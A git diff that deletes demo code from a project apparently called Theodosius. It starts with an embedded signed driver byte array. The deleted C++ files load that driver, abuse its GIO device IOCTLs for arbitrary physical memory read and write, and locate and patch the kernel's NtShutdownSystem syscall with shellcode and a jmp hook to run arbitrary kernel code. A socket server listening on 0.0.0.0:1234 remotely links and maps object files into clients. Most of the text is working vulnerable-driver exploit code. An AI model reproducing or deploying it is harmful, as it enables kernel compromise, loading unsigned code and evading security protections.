0xD4, 0xD3, 0x98, 0x5F, 0x4B, 0x7A, 0xC9, - 0x7F, 0xB2, 0x29, 0x52, 0xD0, 0x12, 0x80, 0xC7, 0x0F, 0x54, 0xB6, 0x1E, - 0x67, 0xCD, 0xC6, 0xA0, 0x6C, 0x11, 0x03, 0x84, 0xD3, 0x48, 0x75, 0xE7, - 0x2A, 0xFE, 0xB0, 0x3B, 0x6E, 0x0A, 0x3A, 0xA6, 0x6B, 0x76, 0x99, 0x05, - 0xA3, 0xF1, 0x77, 0x68, 0x61, 0x33, 0x14, 0x47, 0x06, 0xFC, 0x53, 0x7F, - 0x52, 0xBD, 0x92, 0x14, 0x5C, 0x4A, 0x24, 0x6A, 0x67, 0x8C, 0xAF, 0x8D, - 0x90, 0xAA, 0xD0, 0xF6, 0x79, 0x21, 0x1B, 0x93, 0x26, 0x7C, 0xC3, 0xCE, - 0x1E, 0xBD, 0x88, 0x38, 0x92, 0xAE, 0x45, 0xC6, 0x19, 0x6A, 0x49, 0x50, - 0xB3, 0x05, 0xF8, 0xAE, 0x59, 0x37, 0x8A, 0x6A, 0x25, 0x03, 0x94, 0xB1, - 0x59, 0x81, 0x50, 0xE8, 0xBA, 0x83, 0x80, 0xB7, 0x23, 0x35, 0xF4, 0x76, - 0xB9, 0x67, 0x1D, 0x59, 0x18, 0xAD, 0x20, 0x8D, 0x94, 0x31, 0x82, 0x04, - 0x3C, 0x30, 0x82, 0x04, 0x38, 0x02, 0x01, 0x01, 0x30, 0x81, 0x93, 0x30, - 0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, - 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, - 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, - 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x53, 0x79, 0x6D, 0x61, - 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, - 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, - 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, - 0x63, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x53, 0x48, - 0x41, 0x32, 0x35, 0x36, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, - 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x02, 0x10, 0x2A, 0xD2, - 0x2E, 0x07, 0x1F, 0x61, 0xCA, 0xFE, 0x78, 0x84, 0xBF, 0xA4, 0x3A, 0x31, - 0xB2, 0x1B, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, - 0x00, 0xA0, 0x70, 0x30, 0x10, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, - 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x02, 0x30, 0x00, 0x30, 0x19, 0x06, - 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0C, - 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, - 0x30, 0x1C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, - 0x01, 0x0B, 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, - 0x01, 0x82, 0x37, 0x02, 0x01, 0x15, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x2D, - 0xFA, 0xF5, 0x42, 0x60, 0x09, 0xFB, 0x3A, 0x4A, 0x53, 0x02, 0xC1, 0x4C, - 0xB9, 0x30, 0x9A, 0xE1, 0x20, 0x7D, 0x44, 0x30, 0x0D, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, - 0x01, 0x00, 0xA1, 0x57, 0x78, 0x4D, 0x95, 0x21, 0x2A, 0xA1, 0xA6, 0x9A, - 0xD9, 0x69, 0x16, 0x1D, 0x95, 0x59, 0x6F, 0xD0, 0xDD, 0x4C, 0xBF, 0x3B, - 0xD6, 0x7E, 0x5E, 0x86, 0x39, 0x41, 0xEB, 0x52, 0x3A, 0xDF, 0x1B, 0xAC, - 0x44, 0x96, 0x08, 0x06, 0x0A, 0x07, 0x01, 0xD1, 0xDE, 0x34, 0xC0, 0x93, - 0xB2, 0xB2, 0xB8, 0xED, 0x05, 0xDE, 0xB5, 0xF7, 0xC5, 0xD5, 0x32, 0x2E, - 0xC7, 0x32, 0xBF, 0x3B, 0xD8, 0xEC, 0x4D, 0xC6, 0xF2, 0x2A, 0xFF, 0x7D, - 0xA2, 0x9C, 0x8B, 0xF2, 0x16, 0xBA, 0x6C, 0x3E, 0x3E, 0x9B, 0x49, 0x9E, - 0x00, 0x28, 0x80, 0x55, 0xDC, 0xFE, 0x6E, 0x1F, 0x74, 0x5F, 0x98, 0x1A, - 0x39, 0x3A, 0xD3, 0xE2, 0xD2, 0x5B, 0x5C, 0x22, 0x51, 0xF3, 0xA6, 0xF6, - 0x1D, 0x76, 0x19, 0x8C, 0x1C, 0x82, 0x31, 0xCE, 0x65, 0xF3, 0x10, 0x23, - 0xD6, 0xAD, 0x60, 0x2E, 0x43, 0x6C, 0x75, 0x30, 0xD6, 0x9A, 0x85, 0x2B, - 0x33, 0x22, 0x44, 0x03, 0x6D, 0xC9, 0x9A, 0xB2, 0x39, 0x8A, 0x34, 0xBF, - 0xDD, 0xAF, 0xA3, 0x0B, 0xB8, 0x7F, 0x2D, 0x50, 0x17, 0xD5, 0x56, 0x75, - 0x27, 0x6A, 0xF8, 0xB8, 0xD7, 0x5E, 0x27, 0x74, 0xAC, 0x91, 0x7C, 0xEE, - 0xA4, 0x42, 0x80, 0xD5, 0xF8, 0xFB, 0xB7, 0xD8, 0x70, 0x71, 0x70, 0xE6, - 0x3D, 0x2D, 0x51, 0x5C, 0x5A, 0xAB, 0xD7, 0x3F, 0x68, 0x0B, 0xE2, 0x93, - 0x80, 0xED, 0x7C, 0x8A, 0x94, 0x06, 0x2B, 0xE9, 0xCB, 0xBF, 0xD4, 0x4B, - 0x76, 0x6E, 0x3C, 0xAC, 0x01, 0xA6, 0xB3, 0xF9, 0x0D, 0xB2, 0x6C, 0x24, - 0x4B, 0x51, 0x63, 0x2D, 0x79, 0x15, 0x58, 0x4B, 0x6C, 0x5B, 0x8B, 0x99, - 0x4B, 0xCC, 0xAA, 0x07, 0x08, 0xC9, 0xA3, 0x43, 0xAE, 0xD5, 0x27, 0x8F, - 0xD7, 0x35, 0x85, 0x6B, 0xE8, 0x69, 0xF4, 0xF1, 0x8D, 0x3D, 0x8F, 0x00, - 0x71, 0x52, 0x85, 0x84, 0x02, 0x0D, 0xA1, 0x82, 0x02, 0x0B, 0x30, 0x82, - 0x02, 0x07, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, - 0x06, 0x31, 0x82, 0x01, 0xF8, 0x30, 0x82, 0x01, 0xF4, 0x02, 0x01, 0x01, - 0x30, 0x72, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, - 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, - 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, - 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, - 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, - 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, - 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, - 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, - 0x47, 0x32, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, - 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x09, 0x06, 0x05, - 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0, 0x5D, 0x30, 0x18, 0x06, - 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0B, - 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x01, 0x30, - 0x1C, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x05, - 0x31, 0x0F, 0x17, 0x0D, 0x31, 0x37, 0x31, 0x32, 0x30, 0x31, 0x30, 0x35, - 0x34, 0x30, 0x35, 0x34, 0x5A, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, - 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x48, 0xE9, - 0xD3, 0xB8, 0xB2, 0x40, 0x23, 0x3E, 0x65, 0x95, 0x5D, 0xD2, 0x19, 0x40, - 0xAF, 0x08, 0x08, 0x5F, 0x02, 0xDF, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, - 0x00, 0x89, 0xF5, 0x8C, 0x74, 0xAD, 0xAF, 0x17, 0x5E, 0x03, 0xA0, 0x82, - 0x0D, 0xBC, 0x1D, 0xBC, 0x29, 0x15, 0x66, 0x7B, 0x43, 0x94, 0xEA, 0x86, - 0x4F, 0x8A, 0x29, 0x08, 0x4D, 0x78, 0x92, 0x2D, 0x4F, 0x49, 0x66, 0x6F, - 0x5E, 0x0C, 0x83, 0x5D, 0xB3, 0x25, 0xDF, 0xAB, 0x99, 0xC8, 0xEC, 0xBB, - 0x90, 0x07, 0x7C, 0xC5, 0xBD, 0x7A, 0x86, 0x6A, 0x84, 0x71, 0x65, 0xE9, - 0x63, 0xD7, 0x1E, 0x28, 0xBF, 0x3C, 0xB9, 0x1C, 0xE5, 0xFD, 0xC9, 0x92, - 0x03, 0xC9, 0x5C, 0x67, 0x35, 0x81, 0xA9, 0x24, 0x4E, 0xDA, 0xE9, 0x1E, - 0x8D, 0xF1, 0x2B, 0x53, 0xEF, 0x7A, 0xFE, 0x0D, 0xCC, 0xAE, 0x97, 0x7B, - 0x63, 0x44, 0x0F, 0x9C, 0x03, 0x0B, 0xC3, 0xC5, 0x26, 0x56, 0x3C, 0x15, - 0x26, 0x4F, 0x21, 0x5C, 0x57, 0x0F, 0xBB, 0x23, 0x06, 0x0E, 0x34, 0x14, - 0x1A, 0x2D, 0x06, 0xAA, 0xD2, 0xF2, 0xEC, 0x57, 0x61, 0x08, 0x74, 0xF4, - 0x36, 0x42, 0x06, 0x81, 0xD6, 0x79, 0x65, 0xB0, 0x6F, 0xF2, 0x4F, 0x6F, - 0x5A, 0xD0, 0xC3, 0x84, 0xC3, 0x66, 0x53, 0x92, 0xC0, 0x22, 0x23, 0xE1, - 0xD5, 0x1B, 0x02, 0x76, 0x8E, 0xEB, 0x5F, 0xC2, 0x44, 0x68, 0xF0, 0x36, - 0x2E, 0xFC, 0xE1, 0x13, 0xB8, 0x21, 0x44, 0xAD, 0x9F, 0x7A, 0xD2, 0x9F, - 0xA9, 0x5F, 0xB1, 0xCB, 0x4C, 0xD9, 0x08, 0x6E, 0x4B, 0x82, 0x1D, 0x6D, - 0x7C, 0xD2, 0x51, 0xD1, 0x74, 0x0B, 0x7A, 0xE5, 0x7A, 0x59, 0x93, 0xF9, - 0xCA, 0xB8, 0x85, 0xC4, 0x2C, 0x8A, 0x1D, 0x93, 0x48, 0x6C, 0xAE, 0x3E, - 0x01, 0x5B, 0x66, 0x7F, 0x67, 0xF8, 0x2F, 0x8A, 0xF2, 0x65, 0x2C, 0x88, - 0x3C, 0x7F, 0xAD, 0xB8, 0x8D, 0xBA, 0x88, 0x99, 0xFB, 0xE1, 0xDE, 0x48, - 0xA2, 0x66, 0x96, 0xF0, 0xA9, 0xF1, 0xF2, 0x12, 0x21, 0x16, 0xB6, 0xDA, - 0x8C, 0xD3, 0x5E, 0xD3, 0x5B, 0x00, 0x00, 0x00 - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/vdm/vdm.hpp b/demos/Theodosius-Kernel/Theodosius-VDM/vdm/vdm.hpp deleted file mode 100644 index 8607444..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/vdm/vdm.hpp +++ /dev/null @@ -1,139 +0,0 @@ -#pragma once -#include -#include - -#include "../utils.hpp" -#include "loadup.hpp" -#include "raw_driver.hpp" - -#define MAP_PHYSICAL 0xC3502004 -#define UNMAP_PHYSICAL 0xC3502008 - -#pragma pack (push, 1) -typedef struct _gdrv_t -{ - unsigned long interface_type; - unsigned long bus; - std::uintptr_t phys_addr; - unsigned long io_space; - unsigned long size; -} gdrv_t, *pgdrv_t; -#pragma pack (pop) - -namespace vdm -{ - inline HANDLE drv_handle; - __forceinline auto load_drv() -> std::tuple - { - const auto [result, key] = - driver::load( - vdm::raw_driver, - sizeof(vdm::raw_driver) - ); - - if (result != STATUS_SUCCESS) - return { {}, {}, result }; - - vdm::drv_handle = CreateFileA( - "\\\\.\\GIO", - GENERIC_READ | GENERIC_WRITE, - NULL, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - - return { vdm::drv_handle, key, result }; - } - - __forceinline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS - { - if (!CloseHandle(drv_handle)) - return STATUS_FAIL_CHECK; - - return driver::unload(drv_key); - } - - __forceinline bool read_phys(void* addr, void* buffer, std::size_t size) - { - gdrv_t in_buffer; - in_buffer.bus = NULL; - in_buffer.interface_type = NULL; - in_buffer.phys_addr = reinterpret_cast(addr); - in_buffer.io_space = NULL; - in_buffer.size = size; - - void* out_buffer[2] = { 0 }; - unsigned long returned = 0; - - if (!DeviceIoControl( - drv_handle, - MAP_PHYSICAL, - reinterpret_cast(&in_buffer), - sizeof in_buffer, - out_buffer, - sizeof out_buffer, - &returned, NULL - )) - return false; - - __try - { - memcpy(buffer, out_buffer[0], size); - } - __except (EXCEPTION_EXECUTE_HANDLER) - {} - - return DeviceIoControl( - drv_handle, - UNMAP_PHYSICAL, - reinterpret_cast(&out_buffer[0]), - sizeof out_buffer[0], - out_buffer, - sizeof out_buffer, - &returned, NULL - ); - } - - __forceinline bool write_phys(void* addr, void* buffer, std::size_t size) - { - gdrv_t in_buffer; - in_buffer.bus = NULL; - in_buffer.interface_type = NULL; - in_buffer.phys_addr = reinterpret_cast(addr); - in_buffer.io_space = NULL; - in_buffer.size = size; - - void* out_buffer[2] = { 0 }; - unsigned long returned = 0; - - if (!DeviceIoControl( - drv_handle, - MAP_PHYSICAL, - reinterpret_cast(&in_buffer), - sizeof in_buffer, - out_buffer, - sizeof out_buffer, - &returned, NULL - )) - return false; - - __try - { - memcpy(out_buffer[0], buffer, size); - } - __except (EXCEPTION_EXECUTE_HANDLER) - {} - - return DeviceIoControl( - drv_handle, - UNMAP_PHYSICAL, - reinterpret_cast(&out_buffer[0]), - sizeof out_buffer[0], - out_buffer, - sizeof out_buffer, - &returned, NULL - ); - } -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/vdm_ctx/vdm_ctx.cpp b/demos/Theodosius-Kernel/Theodosius-VDM/vdm_ctx/vdm_ctx.cpp deleted file mode 100644 index 85469e9..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/vdm_ctx/vdm_ctx.cpp +++ /dev/null @@ -1,103 +0,0 @@ -#include "vdm_ctx.hpp" - -namespace vdm -{ - vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func) - : - read_phys(read_func), - write_phys(write_func) - { - // already found the syscall's physical page... - if (vdm::syscall_address.load()) - return; - - vdm::ntoskrnl = reinterpret_cast( - LoadLibraryExA("ntoskrnl.exe", NULL, - DONT_RESOLVE_DLL_REFERENCES)); - - vdm::nt_rva = - utils::kmodule::get_export( - "ntoskrnl.exe", - syscall_hook.first - ) - utils::kmodule::get_base("ntoskrnl.exe"); - - vdm::nt_page_offset = nt_rva % PAGE_4KB; - // for each physical memory range, make a thread to search it - std::vector search_threads; - for (auto ranges : utils::pmem_ranges) - search_threads.emplace_back(std::thread( - &vdm_ctx::locate_syscall, - this, - ranges.first, - ranges.second - )); - - for (std::thread& search_thread : search_threads) - search_thread.join(); - } - - void vdm_ctx::set_read(read_phys_t& read_func) - { - this->read_phys = read_func; - } - - void vdm_ctx::set_write(write_phys_t& write_func) - { - this->write_phys = write_func; - } - - void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const - { - const auto page_data = - reinterpret_cast( - VirtualAlloc( - nullptr, - PAGE_4KB, MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE - )); - - for (auto page = 0u; page < length; page += PAGE_4KB) - { - if (vdm::syscall_address.load()) - break; - - if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) - continue; - - // check the first 32 bytes of the syscall, if its the same, test that its the correct - // occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)... - if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32)) - if (valid_syscall(reinterpret_cast(address + page + nt_page_offset))) - syscall_address.store( - reinterpret_cast( - address + page + nt_page_offset)); - } - VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); - } - - bool vdm_ctx::valid_syscall(void* syscall_addr) const - { - static std::mutex syscall_mutex; - syscall_mutex.lock(); - - static const auto proc = - GetProcAddress( - LoadLibraryA(syscall_hook.second), - syscall_hook.first - ); - - // 0: 48 31 c0 xor rax, rax - // 3 : c3 ret - std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 }; - std::uint8_t orig_bytes[sizeof shellcode]; - - // save original bytes and install shellcode... - read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); - write_phys(syscall_addr, shellcode, sizeof shellcode); - - auto result = reinterpret_cast(proc)(); - write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); - syscall_mutex.unlock(); - return result == STATUS_SUCCESS; - } -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/vdm_ctx/vdm_ctx.hpp b/demos/Theodosius-Kernel/Theodosius-VDM/vdm_ctx/vdm_ctx.hpp deleted file mode 100644 index 1f412ef..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/vdm_ctx/vdm_ctx.hpp +++ /dev/null @@ -1,71 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include -#include -#include "../vdm/vdm.hpp" - -namespace vdm -{ - // change this to whatever you want :^) - constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; - inline std::atomic is_page_found = false; - inline std::atomic syscall_address = nullptr; - inline std::uint16_t nt_page_offset; - inline std::uint32_t nt_rva; - inline std::uint8_t* ntoskrnl; - - using read_phys_t = std::function; - using write_phys_t = std::function; - - class vdm_ctx - { - public: - explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func); - void set_read(read_phys_t& read_func); - void set_write(write_phys_t& write_func); - - template - __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const - { - static const auto proc = - GetProcAddress( - LoadLibraryA(syscall_hook.second), - syscall_hook.first - ); - - static std::mutex syscall_mutex; - syscall_mutex.lock(); - - // jmp [rip+0x0] - std::uint8_t jmp_code[] = - { - 0xff, 0x25, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00 - }; - - std::uint8_t orig_bytes[sizeof jmp_code]; - *reinterpret_cast(jmp_code + 6) = addr; - read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); - - // execute hook... - write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); - auto result = reinterpret_cast(proc)(args ...); - write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); - - syscall_mutex.unlock(); - return result; - } - private: - void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; - bool valid_syscall(void* syscall_addr) const; - - read_phys_t read_phys; - write_phys_t write_phys; - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Server/Theodosius-Server.vcxproj b/demos/Theodosius-Server/Theodosius-Server.vcxproj deleted file mode 100644 index ea7c00f..0000000 --- a/demos/Theodosius-Server/Theodosius-Server.vcxproj +++ /dev/null @@ -1,158 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {b047b17d-dff0-4d85-bfb1-e6eab444670a} - TheodosiusServer - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - false - - - true - - - false - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS - true - stdcpp17 - - - Console - true - Ws2_32.lib;$(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies) - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS - true - stdcpp17 - - - Console - true - true - true - Ws2_32.lib;$(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies) - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/demos/Theodosius-Server/Theodosius-Server.vcxproj.filters b/demos/Theodosius-Server/Theodosius-Server.vcxproj.filters deleted file mode 100644 index f084210..0000000 --- a/demos/Theodosius-Server/Theodosius-Server.vcxproj.filters +++ /dev/null @@ -1,35 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - - - Source Files - - - Source Files - - - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - \ No newline at end of file diff --git a/demos/Theodosius-Server/Theodosius-Server.vcxproj.user b/demos/Theodosius-Server/Theodosius-Server.vcxproj.user deleted file mode 100644 index a8b9d0b..0000000 --- a/demos/Theodosius-Server/Theodosius-Server.vcxproj.user +++ /dev/null @@ -1,11 +0,0 @@ - - - - --ip 0.0.0.0 --port 1234 - WindowsLocalDebugger - - - --ip 0.0.0.0 --port 1234 - WindowsLocalDebugger - - \ No newline at end of file diff --git a/demos/Theodosius-Server/client.cpp b/demos/Theodosius-Server/client.cpp deleted file mode 100644 index 6266832..0000000 --- a/demos/Theodosius-Server/client.cpp +++ /dev/null @@ -1,218 +0,0 @@ -#include "client.hpp" - -namespace theo -{ - client::client(SOCKET client_socket) - : - client_socket(client_socket), - handler_thread(std::thread(&client::handler, this)) - { handler_thread.detach(); } - - client::~client() - { - // socket might already be closed... - closesocket(client_socket); - connections.erase(client_socket); - } - - void* client::wrapper_memcpy(void* dest, const void* src, std::size_t size) const - { - while (size) - { - std::uint32_t copy_size = size; - if (copy_size > PACKET_DATA_SIZE) - copy_size = PACKET_DATA_SIZE; - - theo_data* packet = new theo_data; - memset(packet, NULL, sizeof theo_data); - - packet->type = theo_packet_type::copy_memory; - packet->copy_memory.dest_addr = dest; - packet->copy_memory.size = copy_size; - memcpy(packet->copy_memory.data, src, copy_size); - - if (send(client_socket, reinterpret_cast(packet), - sizeof theo_data, NULL) == SOCKET_ERROR) - { - std::printf("[!] failed to send data... reason = %d\n", - WSAGetLastError()); - - delete packet; - return nullptr; - } - - if (recv(client_socket, reinterpret_cast(packet), - sizeof theo_data, MSG_WAITALL) == SOCKET_ERROR) - { - std::printf("[!] failed to recv alloc data... reason = %d\n", - WSAGetLastError()); - - delete packet; - return nullptr; - } - - delete packet; - dest = reinterpret_cast( - reinterpret_cast(dest) + copy_size); - - src = reinterpret_cast( - reinterpret_cast(src) + copy_size); - - size -= copy_size; - } - return dest; - } - - void* client::wrapper_alloc(std::size_t size, std::uint32_t prot) const - { - theo_data* packet = new theo_data; - memset(packet, NULL, sizeof theo_data); - - packet->type = theo_packet_type::alloc_memory; - packet->alloc.alloc_size = size; - packet->alloc.prot = prot; - - if (send(client_socket, reinterpret_cast(packet), - sizeof theo_data, NULL) == SOCKET_ERROR) - { - std::printf("[!] failed to send data... reason = %d\n", - WSAGetLastError()); - - delete packet; - return nullptr; - } - - if (recv(client_socket, reinterpret_cast(packet), - sizeof theo_data, MSG_WAITALL) == SOCKET_ERROR) - { - std::printf("[!] failed to recv alloc data... reason = %d\n", - WSAGetLastError()); - - delete packet; - return nullptr; - } - - const auto result = - packet->alloc.addr; - - delete packet; - return result; - } - - std::uintptr_t client::wrapper_resolve_symbol(const char* symbol_name) const - { - theo_data* packet = new theo_data; - memset(packet, NULL, sizeof theo_data); - - packet->type = theo_packet_type::resolve_symbol; - packet->resolve.symbol_size = strlen(symbol_name); - strcpy(packet->resolve.symbol, symbol_name); - - if (send(client_socket, reinterpret_cast(packet), - sizeof theo_data, NULL) == SOCKET_ERROR) - { - std::printf("[!] failed to send data... reason = %d\n", - WSAGetLastError()); - - delete packet; - return {}; - } - - if (recv(client_socket, reinterpret_cast(packet), - sizeof theo_data, MSG_WAITALL) == SOCKET_ERROR) - { - std::printf("[!] failed to recv alloc data... reason = %d\n", - WSAGetLastError()); - - delete packet; - return {}; - } - - const auto result = - packet->resolve.symbol_addr; - - delete packet; - return result; - } - - void client::handler() const - { - int result{}; - theo_data* packet = new theo_data; - memset(packet, NULL, sizeof theo_data); - - while ((result = recv(client_socket, reinterpret_cast(packet), - sizeof theo_data, MSG_WAITALL)) != SOCKET_ERROR) - { - switch (packet->type) - { - case theo_packet_type::init: - { - theo::malloc_t alloc = [&](std::size_t size, std::uint32_t prot) -> void* - { return this->wrapper_alloc(size, prot); }; - - theo::memcpy_t mcopy = - [&](void* dest, const void* src, std::size_t size) -> void* - { return this->wrapper_memcpy(dest, src, size); }; - - theo::resolve_symbol_t resolve_symbol = - [&](const char* symbol_name) -> std::uintptr_t - { return this->wrapper_resolve_symbol(symbol_name); }; - - theo::hmm_ctx linker({ alloc, mcopy, resolve_symbol }); - std::vector objs = lib_files[packet->file]; - - // map objs using a copy of the objs.... - if (!linker.map_objs(objs)) - { - std::printf("[!] failed to map obj files... closing socket...\n"); - closesocket(client_socket); - break; // cannot recover from this... - } - - theo_data* response = new theo_data; - memset(response, NULL, sizeof theo_data); - response->type = theo_packet_type::disconnect; - - switch (packet->file) - { - case theo_file_type::demo_drv: - { - response->entry_point = - linker.get_symbol("DrvEntry"); - break; - } - case theo_file_type::demo_dll: - case theo_file_type::demo_imgui: - { - response->entry_point = - linker.get_symbol("main"); - break; - } - default: - { - std::printf("[!] unsupported file... type = %d\n", response->file); - closesocket(client_socket); - } - } - - std::printf("[+] completed linking...\n"); - std::printf("[+] module entry = 0x%p\n", response->entry_point); - send(client_socket, reinterpret_cast(response), sizeof theo_data, NULL); - closesocket(client_socket); - break; - } - default: - { - std::printf("[!] unknown command = %d\n", packet->type); - closesocket(client_socket); - } - } - - memset(packet, NULL, sizeof theo_data); - } - - delete packet; - std::printf("[+] socket closed with reason = %d\n", WSAGetLastError()); - } -} \ No newline at end of file diff --git a/demos/Theodosius-Server/client.hpp b/demos/Theodosius-Server/client.hpp deleted file mode 100644 index 73fb7cd..0000000 --- a/demos/Theodosius-Server/client.hpp +++ /dev/null @@ -1,85 +0,0 @@ -#pragma once -#include -#include -#include "theo.h" -#include "utils.hpp" - -// if you change this, make sure -// to change it in the client also... -#define PACKET_DATA_SIZE 0x1000 - -// max symbol string size... if you -// change this update the client also... -#define PACKET_SYMBOL_SIZE 0x1000 - -namespace theo -{ - enum class theo_packet_type - { - init, - alloc_memory, - resolve_symbol, - copy_memory, - disconnect - }; - - enum class theo_file_type - { - demo_drv, - demo_dll, - demo_imgui - }; - -#pragma pack(push, 1) - typedef struct _theo_data - { - theo_packet_type type; - - union - { - theo_file_type file; - std::uintptr_t entry_point; - - struct - { - void* addr; - std::size_t alloc_size; - std::uint32_t prot; - } alloc; - - struct - { - void* dest_addr; - std::size_t size; - std::uint8_t 